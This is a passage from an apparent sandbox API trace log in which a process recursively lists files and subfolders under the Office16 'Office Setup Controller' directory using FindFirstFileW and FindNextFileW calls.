dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0064.743] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xead8e4c0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xead8e4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xead8e4c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.743] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf218a000, ftCreationTime.dwHighDateTime=0x1d0cb1b, ftLastAccessTime.dwLowDateTime=0xead8e4c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf218a000, ftLastWriteTime.dwHighDateTime=0x1d0cb1b, nFileSizeHigh=0x0, nFileSizeLow=0x3e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="oregres.dll.mui", cAlternateFileName="OREGRE~1.MUI")) returned 1 [0064.743] GetLastError () returned 0x12 [0064.743] FindClose (in: hFindFile=0x4d86e0 | out: hFindFile=0x4d86e0) returned 1 [0064.743] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3830088 | out: hHeap=0xab0000) returned 1 [0064.743] FindNextFileW (in: hFindFile=0x4d8860, lpFindFileData=0x2e6ef4c | out: lpFindFileData=0x2e6ef4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x91f80000, ftCreationTime.dwHighDateTime=0x1d0ca2e, ftLastAccessTime.dwLowDateTime=0x115a02a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x91f80000, ftLastWriteTime.dwHighDateTime=0x1d0ca2e, nFileSizeHigh=0x0, nFileSizeLow=0x50688, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0064.743] GetLastError () returned 0x12 [0064.744] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\*"), lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x31e2edc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x31e2edc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86e0 [0064.746] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0x31e2edc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x31e2edc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.746] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe31085e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe3b98780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe3b98780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="ACCESS~1.EN-")) returned 1 [0064.746] GetLastError () returned 0x12 [0064.746] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Access.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\access.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe31085e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe3b98780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe3b98780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.748] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe31085e0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe3b98780, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe3b98780, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.748] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd09440f0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe31085e0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd09440f0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x5a9, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="ACCESS~1.XML")) returned 1 [0064.748] GetLastError () returned 0x12 [0064.749] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.749] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.749] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe57dccc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe57dccc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe57dccc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCF.en-us", cAlternateFileName="DCF~1.EN-")) returned 1 [0064.749] GetLastError () returned 0x12 [0064.749] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\DCF.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\dcf.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe57dccc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe57dccc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe57dccc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.750] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe57dccc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe57dccc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe57dccc0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.750] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1f70540, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe57dccc0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1f70540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="DCFMUI.XML", cAlternateFileName="")) returned 1 [0064.750] GetLastError () returned 0x12 [0064.750] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.750] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.750] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67c7fe0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe67ee140, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe67ee140, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Excel.en-us", cAlternateFileName="EXCEL~1.EN-")) returned 1 [0064.750] GetLastError () returned 0x12 [0064.750] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Excel.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\excel.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67c7fe0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe67ee140, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe67ee140, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.750] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe67c7fe0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe67ee140, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe67ee140, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.751] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe0a20, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe67c7fe0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd1fe0a20, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x6f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ExcelMUI.XML", cAlternateFileName="")) returned 1 [0064.751] GetLastError () returned 0x12 [0064.751] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.751] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.751] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7421200, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe7421200, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe7421200, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Groove.en-us", cAlternateFileName="GROOVE~1.EN-")) returned 1 [0064.751] GetLastError () returned 0x12 [0064.751] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Groove.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\groove.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7421200, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe7421200, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe7421200, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.751] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7421200, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe7421200, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe7421200, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.751] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2111cf0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe7421200, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2111cf0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x466, dwReserved0=0x0, dwReserved1=0x0, cFileName="GrooveMUI.XML", cAlternateFileName="GROOVE~1.XML")) returned 1 [0064.751] GetLastError () returned 0x12 [0064.752] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.752] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.752] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe81129a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe81129a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe81129a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPath.en-us", cAlternateFileName="INFOPA~1.EN-")) returned 1 [0064.752] GetLastError () returned 0x12 [0064.752] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\InfoPath.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\infopath.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe81129a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe81129a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe81129a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.752] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe81129a0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe81129a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe81129a0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.753] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2432970, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe81129a0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd2432970, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="InfoPathMUI.XML", cAlternateFileName="INFOPA~1.XML")) returned 1 [0064.753] GetLastError () returned 0x12 [0064.753] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.753] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.753] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8ec2820, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe8ec2820, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe8ec2820, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Lync.en-us", cAlternateFileName="LYNC~1.EN-")) returned 1 [0064.753] GetLastError () returned 0x12 [0064.753] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Lync.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\lync.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8ec2820, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe8ec2820, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe8ec2820, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.753] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe8ec2820, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe8ec2820, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xe8ec2820, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.753] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd247e460, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xe8ec2820, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd247e460, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x4cb, dwReserved0=0x0, dwReserved1=0x0, cFileName="LyncMUI.XML", cAlternateFileName="")) returned 1 [0064.753] GetLastError () returned 0x12 [0064.753] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.754] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.754] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d9f3f00, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0x312e0540, ftLastAccessTime.dwHighDateTime=0x1d8a6e9, ftLastWriteTime.dwLowDateTime=0x6d9f3f00, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x814f8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODeploy.exe", cAlternateFileName="")) returned 1 [0064.754] GetLastError () returned 0x12 [0064.754] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Office.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\office.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaabaaa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec0994c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec0994c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.756] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeaabaaa0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xec0994c0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xec0994c0, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.756] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf918d000, ftCreationTime.dwHighDateTime=0x1d0cb66, ftLastAccessTime.dwLowDateTime=0xeaabaaa0, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xf918d000, ftLastWriteTime.dwHighDateTime=0x1d0cb66, nFileSizeHigh=0x0, nFileSizeLow=0x3ec0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRANDING.DLL", cAlternateFileName="")) returned 1 [0064.756] GetLastError () returned 0x12 [0064.756] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.757] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.757] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd674bd60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd674bd60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 1 [0064.757] GetLastError () returned 0x12 [0064.757] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Office64.en-us\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\office64.en-us\\*"), lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd674bd60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd674bd60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4d86a0 [0064.758] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd57f8fc0, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd674bd60, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd674bd60, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0064.758] FindNextFileW (in: hFindFile=0x4d86a0, lpFindFileData=0x2e6ea44 | out: lpFindFileData=0x2e6ea44*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8bd0b10, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd581f120, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xb8bd0b10, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x776, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64MUI.XML", cAlternateFileName="OFFICE~1.XML")) returned 1 [0064.758] GetLastError () returned 0x12 [0064.759] FindClose (in: hFindFile=0x4d86a0 | out: hFindFile=0x4d86a0) returned 1 [0064.759] HeapFree (in: hHeap=0xab0000, dwFlags=0x0, lpMem=0x3840090 | out: hHeap=0xab0000) returned 1 [0064.759] FindNextFileW (in: hFindFile=0x4d86e0, lpFindFileData=0x2e6ecc8 | out: lpFindFileData=0x2e6ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd91b2540, ftCreationTime.dwHighDateTime=0x1d8a6e8, ftLastAccessTime.dwLowDateTime=0xd91b2540, ftLastAccessTime.dwHighDateTime=0x1d8a6e8, ftLastWriteTime.dwLowDateTime=0xd91b2540, ftLastWriteTime.dwHighDateTime=0x1d8a6e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office64.WW", cAlternateFileName="")) returned 1 [0064.759] GetLastError () returned 0x12 [0064.759] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Common Files\\microsoft shared\\OFFICE16\\Office Setup Controller\\Office64.WW\\*" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\office16\\office setup controller\\office64.ww\\*"), 